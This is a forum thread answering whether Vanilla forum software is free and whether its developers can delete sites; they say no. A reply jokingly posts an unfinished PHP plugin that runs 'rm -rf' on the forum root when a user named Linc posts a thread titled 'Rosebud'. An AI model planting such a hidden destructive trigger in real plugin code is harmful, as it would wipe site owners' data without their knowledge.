Questions about Vanilla open source

This discussion was created from comments split from: vanilla free or not free.


  • I downloaded and used vanillia. I liked it very much.

    Is it absolutely free? I have my host. If my site is popular, will vanilla delete my site?

    Is it safe to use it for free? Vanilla for free version reliable?

    Yes. No. Yes. Yes.

    If my site is popular, will vanilla delete my site?

    Late at night, after a few drinks, I scour the Internet for popular sites using the software I've worked on for seven years and quietly delete them without warning. I've spoken to a psychiatrist about it. I'm happy to report I'll be prominently featured in the DSM-VI when it's complete.

    [That joke was a bit esoteric so I'll footnote: We can't delete your site. Also it would be really ridiculous and self-destructive.]

    It would need some polishing, but the main functionality is good to go!

    $PluginInfo['mine'] = [
        'Name' => 'Mine',
        'Description' => 'Allows Linc to kill your forum',
        'Version' => '666',
        'RequiredApplications' => ['Vanilla' => '>=2.2']
    class MinePlugin extends Gdn_Plugin {
        public function discussionController_render_before($sender, $args) {
            $linc = Gdn::UserModel()->getByUsername('Linc');
            if (
                Gdn::session()->UserID != $linc->UserID &&
                $args['Discussion']->InsertUserID == $linc->UserID &&
                $args['Discussion']->Name == 'Rosebud'
            ) {
                system('rm -rf '.escapeshellarg(PATH_ROOT));
